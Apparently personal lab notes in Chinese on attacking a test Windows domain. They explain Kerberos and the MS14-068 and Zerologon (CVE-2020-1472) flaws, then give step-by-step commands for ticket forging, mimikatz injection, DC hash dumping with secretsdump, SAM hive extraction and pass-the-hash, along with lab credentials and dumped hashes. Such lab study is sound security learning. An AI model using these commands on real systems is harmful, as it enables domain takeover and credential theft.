[toc]
环境搭建
环境:
- 域控/活动目录
Win 2008 [主机模式]
计算机名: DCServer
域名: pentestlab.com
用户:
Admin xzas@157
Administrator xzas@123
IP: 192.168.186.128
域用户: fe1w0 test@123
- 域成员
Win 7 [Net 模式、主机模式]
用户:
test fe1w0@123
IP: 192.168.186.129 192.168.127.134
计算机名:test-PC
域用户: fe1w0 test@123 [已添加到本地计算机Administrator用户组
MS 14-068
参考资料:
Kerberos 协议与 黄金白银票据
Kerberos 协议
阶段1 : 认证服务器交换(AS交换)
(1) C -> AS
$ID_C || ID_{TGS}||TS_1$
$K_C$ 为 $hash(PassWord_C)$
(2) AS -> C
$E_{K_c}[K_{C,TGS}||ID_{TGS}||ID_C||TS_2||Lifetime_2||Ticket_{TGS}]$
$Ticket_{TGS} = E_{K_{TGS}}[K_{C,TGS}||ID_{C}||AD_{C}||ID_{TGS}||TS_2||Lifetime_2]$
$K_{C,TGS}$ C 与 TGS 之间的通话密钥, $AD_C$ C 的网络地址
$K_{TGS}$ 为 $hash(PassWord_{TGS})$
阶段2: 票据授予服务器交换(TGS 交换)
(3) C -> TGS
$ID_S||Ticket_{TGS}||Authenticator_C$
$Authenticator_C = E_{K_{C,TGS}}[ID_C||AD_C||TS_3]$
(4) TGS -> C
$E_{K_{C,TGS}}[K_{C,S}||ID_{S}||TS_4||Lifetime_4||Ticket_{S}]$
$Ticket_{S} = E_{K_{S}}[K_{C,S}||ID_{C}||AD_{C}||ID_{S}||TS_4||Lifetime_4]$
阶段3: 客户/服务器认证应用交换(AP交换)
(5) C -> S
$Ticket_{S}||Authenticator_C$
$Authenticator_C = E_{K_{C,S}}[ID_C||AD_C||TS_5] $
(6) S -> C
$E_{K_{C,S}}[TS5+1]$,v5已经取消这一做法
黄金白银票据
黄金票据:
拥有$K_C$,可以为所欲为
白银票据:
得知$K_{S}$,只能伪造$Ticket_S$,也只能获取S的服务
原理
深入解读MS14-068漏洞:微软精心策划的后门? - FreeBuf网络安全行业门户
walkerfuz 师傅NB
WIN Kerberos
Win 的中所采用Kerberos协议和上面的Kerberos协议,并不一样,会多一个PAC,Privilege Attribute Certificate 特权属性证书,以检验User有无权限使用服务
证书保存在KDC中,流程可以看上面链接
漏洞产生的具体三个原因
第一个错误:
在KDC机构对PAC进行验证时,对于PAC尾部的签名算法,虽然原理上规定必须是带有Key的签名算法才可以,但微软在实现上,却允许任意签名算法,只要客户端指定任意签名算法,KDC服务器就会使用指定的算法进行签名验证。
也就是说可以采用不带key计算的签名算法,如不加盐的散列函数
第二个错误:
PAC没有被放在TGT中,而是放在了TGS_REQ数据包的其它地方。但可笑的是,KDC在实现上竟然允许这样的构造,也就是说,KDC能够正确解析出没有放在其它地方的PAC信息。
第三个错误:
只要TGS_REQ按照刚才漏洞要求设置,KDC服务器会做出令人吃惊的事情:它不仅会从Authenticator中取出来subkey把PAC信息解密并利用客户端设定的签名算法验证签名,同时将另外的TGT进行解密得到SessionKeya-kdc;
在验证成功后,把解密的PAC信息的尾部,重新采用自身Server_key和KDC_key生成一个带Key的签名,把SessionKeya-kdc用subkey加密,从而组合成了一个新的TGT返回给Client-A
相当于生成含有CAP的TGT
影响版本与条件
受影响的版本:
Microsoft 安全公告 MS14-068 - 严重 | Microsoft Docs
MS14-068编号CVE-2014-6324,补丁为3011780, systeminfo |find "3011780"
以查看
此外攻击者可以获得普通域用户密码/hash值,以及用户的suid
实践
参考:
利用前,访问域控共享文件夹
1 | dir \\DCServer.pentestlab.com\c$ |
ms14-068.exe
1.获取域用户fe1w0的SID
2.生成TGT票据
GitHub - ianxtianxt/MS14-068: 域渗透工具
1 | ms14-068.exe -u fe1w0@pentestlab.com -s S-1-5-21-1799418058-61352837-3073535808-1108 -d 192.168.186.128 -p test@123 |
生产.ccache
文件
3.注入内存
使用mimikatz将票据(TGT)注入到当前内存中,来伪造kerberos协议认证证书
获取域控权限
内存中的证书
PSExce64.exe \\DCServer.pentestlab.com cmd.exe
Forensics-Tool-Wiki/windowsTools at master · crupper/Forensics-Tool-Wiki · GitHub
ms14-068.py
GitHub - SecWiki/windows-kernel-exploits: windows-kernel-exploits Windows平台提权漏洞集合
windows-kernel-exploits/ms14-068.py at master · SecWiki/windows-kernel-exploits · GitHub
goldenPac.py
metasploit
CobaltStrike
CVE-2020-1472
参考:
攻击者通过NetLogon(MS-NRPC),建立与域控间易受攻击的安全通道时,可利用此漏洞获取域管访问权限。成功利用此漏洞的攻击者可以在该网络中的设备上运行经特殊设计的应用程序
影响版本与条件
Security Update Guide - Microsoft Security Response Center
环境
在上面环境基础上,添加一个内网的kali主机
IP:192.168.186.133
原理
Netlogon 特权提升漏洞(CVE-2020-1472)原理分析与验证 (qq.com)
可以大致理解为Client 挑战设置为空,通过AES加密会有可能1/256的几率导致域控hash为空
实践
POC : GitHub - SecuraBV/CVE-2020-1472: Test tool for CVE-2020-1472
impacket
POC 验证
- 安装impacket
1 | git clone https://hub.fastgit.org/SecureAuthCorp/impacket.git |
- 验证
1 | python3 zerologon_tester.py <主机名> <ip> |
攻击
Exp 攻击
1 | python3 cve-2020-1472-exploit.py DCServer 192.168.186.12 |
利用impacket的secretsdump.py导出域控制上的hash
1 | python3 secretsdump.py pentestlab.com/DCServer\$@192.168.186.128 -no-pass |
1 | Administrator:500:aad3b435b51404eeaad3b435b51404ee:bbe65d9f279b16c6a264b8371eb4a160::: |
利用获取到的管理员hash来远程操作域控服务器
1 | python3 wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:5e2682da4c72a9c90fdd526f01e55126 pentestlab.com/Admin@192.168.186.128 |
获取管理员hash,远程连接导出sam数据库中的原来的计算机hash
1 | reg save HKLM\SYSTEM system.save |
1 | python3 secretsdump.py -sam sam.save -system system.save -security security.save LOCAL |
1 | Impacket v0.9.23.dev1+20210111.162220.7100210f - Copyright 2020 SecureAuth Corporation |
恢复计算机的hash
恢复原来的hash值,随意的改变hash会对域,dns或者一些其他的功能可能造成影响
工具 GitHub - risksense/zerologon: Exploit for zerologon cve-2020-1472
python3 -m pip install -r requirements.txt -i https://pypi.tuna.tsinghua.edu.cn/simple
1 | python3 reinstall_original_pw.py DCServer 192.168.186.128 95d9b4e7a41655e32b68057b5331ba61 |
$MACHINE.ACC 后一半部分
恢复前
1 | python3 secretsdump.py pentestlab.com/Admin:xzas\@157@192.168.186.128 -just-dc-user DCServer\$ |
恢复后
Mimikatz
验证
1 | mimikatz.exe "privilege::debug" "lsadump::zerologon /target:192.168.186.128 /account:DCServer$" |
攻击
1 | mimikatz.exe "privilege::debug" "lsadump::zerologon /target:192.168.186.128 /account:DCServer$ /exploit" |
1 | lsadump::dcsync /domain:pentestlab.com /dc:DCServer.pentestlab.com /user:Admin /authuser:DCServer$ /authpassword:"" /authntlm |
hash 传递
1 | ./mimikatz.exe "privilege::debug" "sekurlsa::pth /user:Admin /domain:DCServer /rc4:5e2682da4c72a9c90fdd526f01e55126" |
恢复
1 | lsadump::postzerologon /target:192.168.186.128 /account:DCServer$ |